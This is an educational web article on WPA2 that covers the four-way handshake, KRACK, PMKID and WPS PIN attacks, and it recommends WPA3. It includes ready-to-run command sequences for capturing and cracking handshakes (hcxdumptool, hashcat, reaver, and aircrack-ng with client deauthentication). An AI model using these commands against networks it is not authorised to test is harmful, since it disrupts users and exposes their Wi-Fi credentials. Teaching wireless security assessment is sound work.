WPA2 Explained: Security Protocols and Vulnerabilities
An in-depth technical analysis of WPA2 wireless security protocol covering the four-way handshake, CCMP/AES encryption, known vulnerabilities including KRACK, and defensive configurations.
The Legacy Standard in Wireless Encryption
Wi-Fi Protected Access 2 (WPA2) is a security protocol ratified in 2004 as IEEE 802.11i. It replaced WEP and WPA, introducing mandatory AES encryption and CCMP as the core of its security architecture. For over a decade, WPA2 was the gold standard for WiFi security, deployed on billions of devices worldwide. Despite its architectural strength, WPA2 has known protocol-level vulnerabilities that security professionals must understand.
Prerequisites
WPA2 Architecture
WPA2-Personal (PSK)
Uses a single passphrase (8-63 characters) shared among devices. The passphrase derives the Pairwise Master Key (PMK).
WPA2-Enterprise (802.1X)
Uses a RADIUS server for centralized authentication with unique user credentials via EAP.
The Four-Way Handshake
Message 1: AP → Client (ANonce)
Message 2: Client → AP (SNonce + MIC)
Message 3: AP → Client (GTK encrypted + MIC)
Message 4: Client → AP (Acknowledgement)
The handshake proves both parties know the PSK without transmitting it and establishes unique session keys.
WPA2 Vulnerabilities
KRACK Attack (2017)
Exploits the four-way handshake by forcing nonce reuse through retransmitted Message 3. Allows attackers to decrypt and forge packets. Client-side vulnerability patched in all major operating systems.
PMKID Attack
Exploits the RSN IE included in some APs' first EAPOL frame, eliminating the need to capture a full handshake.
hcxdumptool -o capture.pcapng -i wlan0 --enable_status
hcxpcaptool -z pmkidhash.16800 capture.pcapng
hashcat -m 16800 pmkidhash.16800 /usr/share/wordlists/rockyou.txt
WPS PIN Attack
The 8-digit WPS PIN validates in two halves (first 4, then 3 digits), reducing the search space to approximately 11,000 attempts.
reaver -i wlan0mon -b AP_MAC -vv
Capturing and Cracking WPA2
# Enable monitor mode
airmon-ng start wlan0
# Capture on target channel
airodump-ng -c 6 --bssid AP_MAC -w capture wlan0mon
# Deauth client to force handshake
aireplay-ng -0 2 -a AP_MAC -c CLIENT_MAC wlan0mon
# Crack the handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
Common Mistakes
Best Practices
Related Tools
Related Articles
Summary
WPA2's AES-CCMP encryption provides strong confidentiality, but vulnerabilities including KRACK, PMKID attacks, and WPS PIN attacks show it is not impenetrable. Understanding the four-way handshake, key hierarchy, and attack techniques is essential for wireless security assessment. Migration to WPA3 is strongly recommended.
Knowledge Check
Frequently Asked Questions
Continue Learning
Aircrack-ng Guide: Complete Wireless Security Assessment
A comprehensive guide to the Aircrack-ng suite for wireless security testing including monitor mode, packet capture, deauthentication attacks, WPA/WPA2 cracking, and WEP analysis.
Wireless Security · AdvancedEvil Twin Attacks: Rogue Access Point Threats and Detection
An in-depth guide to evil twin (rogue AP) attacks covering how they work, deployment techniques, detection methods, and defensive strategies against WiFi credential harvesting.
Wireless Security · AdvancedCaptive Portals: How WiFi Authentication Works
A technical examination of captive portal WiFi authentication including how portals work, common implementations, security weaknesses, bypass techniques, and secure deployment practices.
Wireless Security · AdvancedWPA3 Explained: Next-Generation WiFi Security
A detailed exploration of WPA3 wireless security protocol including SAE handshake, forward secrecy, protected management frames, and how it addresses WPA2 vulnerabilities.
Related Security Tools
Reaver
Reaver implements a brute force attack against WiFi Protected Setup (WPS) registrar PINs to recover WPA/WPA2 passphrases.
Wireless AttacksKismet
Kismet is a wireless network and device detector, sniffer, wardriving tool, and wireless IDS. It works passively with WiFi, Bluetooth, and other wireless protocols.
Wireless AttacksAircrack-ng
Aircrack-ng is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security: monitoring, attacking, testing, and cracking.
Wireless AttacksWifite
Learn how to use Wifite in Kali Linux with this beginner tutorial: check your WiFi adapter, install Wifite, run your first authorized WiFi audit, capture WPA handshakes and PMKIDs, and crack them with a wordlist. Includes Wifite commands, a worked example, troubleshooting for common errors, and how Wifite compares with Aircrack-ng.